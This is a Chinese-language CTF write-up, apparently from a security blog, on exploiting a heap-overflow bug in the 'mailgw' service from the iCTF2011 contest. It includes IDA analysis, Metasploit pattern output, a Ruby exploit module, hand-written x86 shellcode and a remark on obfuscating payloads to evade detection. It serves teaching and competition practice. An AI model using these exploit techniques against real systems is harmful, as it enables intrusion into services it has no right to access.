利用metasploit实战iCTF2011
引言 小牛@bobo 最近在我的催促下下功夫写了一篇文章,大家要是想看到系统安全的文章,还是多多follow他的新浪微博吧!本文将介绍在iCTF2011实战中,如何借助metasploit远程溢出对手主机上的服务程序,从而得到Flag,在比赛中获取积分。
什么是CTF?
CTF(Capture The Flag)是一种黑客社区中常见的切磋技术为主的活动,一般每个参赛队需要在维护一个自己的系统不被入侵的同时去渗透其他队伍的系统,从而获得对手主机上的Flag,获取相应的积分,积分最多的队获胜。iCTF是UCSB组织的,专门面向全球高校的CTF竞赛。作者所在的Blue-lotus团队参加了2011年的iCTF,取得了第23名的成绩。关于这个赛事的详细情况不再展开,感兴趣的可以访问http://ictf.cs.ucsb.edu/。先大概简要介绍iCTF2011的情况。每个参赛队需要维护一个虚拟机—Gamebox。该虚拟机上运行着10个含有各种漏洞的服务。每个参赛队在逆向分析10个服务的同时,进行修补并运程溢出其他队伍的服务,渗透对方的主机,获取Flag。下面开始我们的iCTF实战,以分析Gamebox中的一个服务mailgw为例。
实战iCTF2011之分析篇
第一步
侦查Gamebox上各个服务的情况,主要包括服务程序名、监听端口和程序对应的文件位置。先运行netstat –antup获取运行服务的端口、PID、程序名等如下图1所示(以mailgw为例):
然后运行ps –aux获取服务进程对应的程序位置,如下图2所示:
第二步
将程序文件/usr/local/bin/mailgw上传到本地进行静态分析,利用IDA打开。主函数的流程图如下图3所示:
左边的缩略CFG告诉我们这是个典型的服务端监听程序的处理流程,从左到右得各个BBL都在做初始化,例如绑定端口等等,然后等待连接到来。当监听端收到到访的远程连接时,将fork一个子进程来处理。代码在上面缩略图的最右端,如下图4所示:
可以看到会调用一个manage_tcp_client函数来处理到来的socket连接。
第三步
详细分析这个处理函数,阅读利用IDA插件生成对应的伪代码。起始部分如下图5所示:
可以看到函数先是利用一个循环读取输入的一个字节,然后紧接着一个switch来判断输入的字符内容,选取对应的代码块,这明显是在根据不同字符代表的命令来操作。通读一遍下来,根据每个代码块的调试信息,可以看到总共可以处理以下几种字符代表的命令,以及每个命令的含义:
n: Create account (创建文件,路径: /home/mailgateway/messages/帐户名)
q: Quit
+: Add recipient(添加收件人)
-: Remove recipient(移除收件人)
l: List recipients
r: Rewind file
s: Send message
m: Write message
根据以往的经验那个创建的文件一般包含了flag。现在的问题是在这些代码块中找到vulnerability。查一遍代码过后,发现以上操作中的“+”“ –”对应的代码很有问题,如下图6所示是“+”操作即添加收件人对应的伪代码
是“+”操作即添加收件人对应的伪代码:这块代码首先开辟了一块0x11c(284)大小的可读可写缓存区S2[284]。而且从S2[260]开始部署了一段机器码,对应的汇编指令已在图中标出,这就表明这个缓存区混淆了代码与数据。最为关键的是在图中的最后,程序利用一个循环将输入读到这段缓存区中,且没有长度限制,唯一的限制就是遇到“|”停止输入。这将明显导致一个缓存区堆溢出。怎么利用呢?由于这个溢出是发生在堆上,不是像栈上那么容易利用,且堆内存的管理也比较复杂,直接利用有困难。这时,我们想到了缓存区中的那段代码,既然程序在这个缓存区中布置了这些指令,那么肯定有执行它的时候,不然放在那干嘛呢?如果程序中有执行它的代码,那么我们将这些指令替换为读入的shellcode,岂不是可以成功利用了?接下来的“-”操作即移除收件人的代码块证实了我们的想法,如下图7所示:
代码中的S1是“-”操作时读入的数据数组,如果和S2 相同,那么将执行S2[261]上的指令。接下来我们利用metasploit来构建自己的module去渗透利用该服务,其过程还略微有点曲折。
实战iCTF2011之渗透篇
第一步
利用metaploit的一个插件pattern_create.rb生成模板(pattern)来验证上述利用点所在的缓存区偏移以及是否能够成功利用。首先生成一个长度为268的模板,如下所示:
root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb 268 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac 8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6A f7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5 Ai6Ai7Ai8A
然后,编写一个metaploit下的模块(module)将该pattern字符串发送过去。我们编写模块时可以基于metasploit现有的Module改造过来,因此我们主要是要编写发包函数,代码如下:
def exploit connect pattern = "" path = File.join( Msf::Config.install_root, "tools", "pattern268" ) fd = File.open( path, "rb" ) pattern = fd.read(fd.stat.size) fd.close command1 = "+bobo" + pattern #add recipient command1 << "|" command2 = "-bobo" + pattern #remove recipient command2 << "|" allcomm = command1 + command2 sock.put(allcomm) handler disconnect end
第二步
用metasploit加载上述模块,在本地复制的gamebox服务端上利用gdb加载该程序对应的进程mailgw。运行该模块项服务端发送数据包,mailgw产生的子进程退出了,并没有像预料的那样去执行我们发送的pattern而导致出错。这证明程序并没有走到前面所述的利用点,怎么办呢?有两种选择,动态调试和重新审查静态反汇编代码。利用系统自带的调试器gdb来做动态调试显然不是什么好的选择,所以我们选择回过头来重新审查代码,很快发现了原因,代码如下图8所示:
在“-”操作中,读入S1的数据是有长度限制的,必须小于等于256。所以我们前面的模块中输入的长度超过了256,导致输入被截断,所以比较时S2与S1不相等。那么,为了使它们相等,必须在小于等于256的位置中加入字符串终止符即可,为了有足够长的缓存区放置shellcode而不被终止符截断,我们选择在S1[256]、S2[256]处插入终止符。即加入如下两行语句:
command1[256,0] = "\0" command2[256,0] = "\0"
第三步
修改之后,重新加载该模块,然后运行,服务端在接到数据包后,mailgw的子进程果然如我们所料报错,如下图9所示:
我们可以看到当前将要执行的指令对应的二进制是0x69413569,正是我们前面产生的pattern中的内容,利用metaploit配套的工具pattern_offset.rb来计算其所在的偏移(注意是小端序)。如下所示:
root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 0x69413569
256
我们看到这4个字节对应的偏移是256。那么加上”bobo”和前面插入的终止符”\0”,256+4+1=261,即这四个字节对应于发送数据包的command1 [261],那么这证实了我们之前的想法,这样组包之后将能到达前述利用点,即执行S2[261]处的指令且S2[261]与输入的command1[261]对应。
第四步
将数据包中的pattern替换为shellcode。shellcode细分为两部分,首先在执行S2[261]时,根据伪代码看到,它的第二个参数是S2。那么第一段shellcode将利用这个参数,使得程序跳转到S2[4]。具体代码如下:
“\x83\xc4\x04\x83\xc4\x04\x83\x04\x24\x04\xc3”
#add esp , 4 ; add esp , 4 ; add dword ptr [esp], 4 ; retn
从对应的汇编代码解释可知,执行这段shellcode之后,程序将跳转到S2[4],从而执行接下来的第二段shellcode,因为S2[0~3]是字符串”bobo”。我们将用metasploit提供的shellcode来作为第二段shellcode。整个利用模块的主体函数如下:
def exploit www.2cto.com connect command = payload.encode command << "\x90"*(255-command.length-4) command << "\0" command1 = "+bobo" + command #add recipient command1 << "\x90\x90\x90\x90\x90" #padded to length--261 command1 <<"\x83\xc4\x04\x83\xc4\x04\x83\x04\x24\x04\xc3" #add esp , 4 ; add esp , 4 ; add dword ptr [esp], 4 ; retn command1 << "|" command2 = "-bobo" + command #remove recipient command2 << "|" allcomm = command1 + command2 sock.put(allcomm) handler disconnect end
第五步
运行该模块,设置远程主机IP和payload,成功溢出获得shell,进入对方主机,如下图10所示(本地虚拟环境测试结果):
至此,我们已经成功溢出了服务mailgw,远程渗透进入主机,查询前面所述的文件夹中的文件,获取flag。
小结
综上所述,在整个实战过程当中,我们很好地利用metaploit的架构和包含的模块、工具,大大加快了渗透的过程;如果要躲避对方的检测,在构造数据包时加上metasploit内置的混淆函数和构造复杂化的空指令滑行区(nop sled)也是很方便的,所以也能提高渗透的质量